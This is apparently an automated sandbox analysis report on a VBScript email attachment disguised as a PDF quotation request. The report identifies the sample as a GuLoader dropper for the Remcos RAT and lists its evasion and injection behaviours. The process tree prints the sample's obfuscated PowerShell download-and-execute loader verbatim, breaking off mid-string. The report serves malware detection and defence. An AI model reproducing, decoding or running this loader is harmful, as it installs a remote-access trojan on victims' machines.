Edit tour
Windows
Analysis Report
PEDIDO DE OR#U00c7AMENTO (Universidade NOVA de Lisboa) 03-10-2025#U00b7pdf.vbs
Overview
General Information
| Sample name: | PEDIDO DE OR#U00c7AMENTO (Universidade NOVA de Lisboa) 03-10-2025#U00b7pdf.vbsrenamed because original name is a hash value |
| Original sample name: | PEDIDO DE ORAMENTO (Universidade NOVA de Lisboa) 03-10-2025pdf.vbs |
| Analysis ID: | 1634208 |
| MD5: | bcca3cd94046dd8e25f4b6f6a5e6670b |
| SHA1: | 837b1297114b97cf87fcc04165a200fb18614530 |
| SHA256: | 3a0c1a34343cc686a0afd97f02d8625fbc57a6d0efa0ca63108463e12d4abef7 |
| Tags: | RATRemcosRATvbsuser-abuse_ch |
| Infos: |   |
 | |
Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
Found suspicious powershell code related to unpacking or dynamic code loading
Joe Sandbox ML detected suspicious sample
Potential evasive VBS script found (sleep loop)
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses ping.exe to check the status of other devices and networks
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Msiexec Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 7420 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\PEDID O DE OR#U0 0c7AMENTO (Universid ade NOVA d e Lisboa) 03-10-2025 #U00b7pdf. vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
PING.EXE (PID: 7512 cmdline: ping Host_ 6637.6637. 6637.657e MD5: 2F46799D79D22AC72C241EC0322B011D) 
conhost.exe (PID: 7528 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 7608 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "echo $Ove rkindly;fu nction Spe ave227($Po sttypernes ){ .($Tunn eldalenes) ($Posttyp ernes)} fu nction Udg angspositi oner($Luft pudebaaden es92){$Non vernacular =4;do{$Zoo geological +=$Luftpud ebaadenes9 2[$Nonvern acular];$N onvernacul ar+=5;$Und erbodies11 9=Format-L ist} until (!$Luftpud ebaadenes9 2[$Nonvern acular])$Z oogeologic al}$Brnelr dommene=Ud gangsposit ioner 'Ru, lnMilie ro utTils. So .W';$Brnel rdommene+= Udgangspos itioner ' UngEGallbK oercT,lel Ot,iIn.le SkeN eflt' ;$Entrewer nes=Udgang spositione r 'TromMPr otoAttezPo tiPe.dlUn qul S ra D is/';$Seab oards=Udga ngspositio ner 'B slT AvilBlods Auto1alle2 ';$Fodnote r=' .ag[De l NKnogEAm idTMa e.Ne drSdemoe,i zzrT ngv n dyi,ijocMn gdeBortPSp arO abliOv ernAf,otGa mbMChokASh enNSk faOb oGBr dEAc tiRForv] M t:Knys:En vesFinmEBo ggcD eluRe tyrSta IE. eit yrYStn iPLoverMer coRickT Op roSci CFar mOSkraLMax i=Unde$Asi dS omED ku AM dsB eig O Af,AMe l rTonedReed s';$Entrew ernes+=Udg angspositi oner 'Trin 5Sa g.Lite 0 Sam Af a (CamoWPol i ktinStru dinddo Su. wTelesCanc orthN Prs T nou Is.1 st 0 Nar. caut0Dfa.; Unsa mandW FloriDedun Sort6Uni 4 ,niv;Goll .iox Akt6F u,s4Solo;T wit slir a divTale:Ca li1Anti3 l ux4In o.Pr ov0A.ts) F ar ScieGKo mmebortc U ikCrysoU. de/Stru2Sa wb0Mis.1Su lc0 Adj0qu iz1Do n0Wo rm1 Spi ,l ocFSnusiLa birLykkeKr ypfbastoMi llxJayw/ y po1S ap3 E ks4Fluo.Ci tr0';$Netp roblem=Udg angspositi oner 'tras uHap SAlle e CitRSkir -W,enAAngl g,azaE Kie nZilcT';$t vangsaukti oners=Udga ngspositio ner 'Cor h DattCytot Bidsparbes end: ejo/ A ti/ Bead A.virManli cosmv oreE p e.SnurgR ev oIsobo emegKno l s,geDial.P ntcLeiboH onemK od/B edru,nuscT viv? imeJu d.xPlotpZo n,oGre rUp aatProd= . omdKi.eopi mpw Obsnb nslH.peoXi phaParhd,a lu&TaphiCi trdKaro=be tj1com,LIn deWStegp O aU Non1Ha anPPe,aK I nsLA sb-un rePEp,p-Bu n E S hM i en6For L A rttR getDa nnkmargmFo hC aks2Tr it2 VadK A poNR covco ugMSiet9Un reQtrice S enSstri8Su p Z';$Nonv ernaculard eologikrit ik=Udgangs positioner ' Coe>';$ Tunneldale nes=Udgang spositione r ' GruiDr a,eOutsX'; $Miaow='Be svarer237' ;$Minium=' \prostitua qr.Und';Sp eave227 (U dgangsposi tioner 'Pr r$ PregYa rdlSeino C utbDi taBr owlAcri:So otiAmebn T itDG.ifiT. bua MayN . smeArguRTy veSSmer=Tr is$.ndgEVa lfNSkagvSt er: heAGra tp atupTox iD AmmAAur .TCoenaFlo t+ gou$Rom am ho i L, knUnp,i pr iuBiocm'); Speave227 (Udgangspo sitioner ' Unsy$Styrg Re LStepo Loweb,ueea veLRefu:H aratA,azr ,olyTimoP arvaLa,erV algsDampaS yncmRudeiC e sdBaptEN ons=Husb$G runtsha vE mdaa FranE urygMaisso leaABi tuE r.vKFibeT ,asI rthOG ittnBa seD dmarUn uSk lim.BirisT rykPDis,lS tnkiInteTN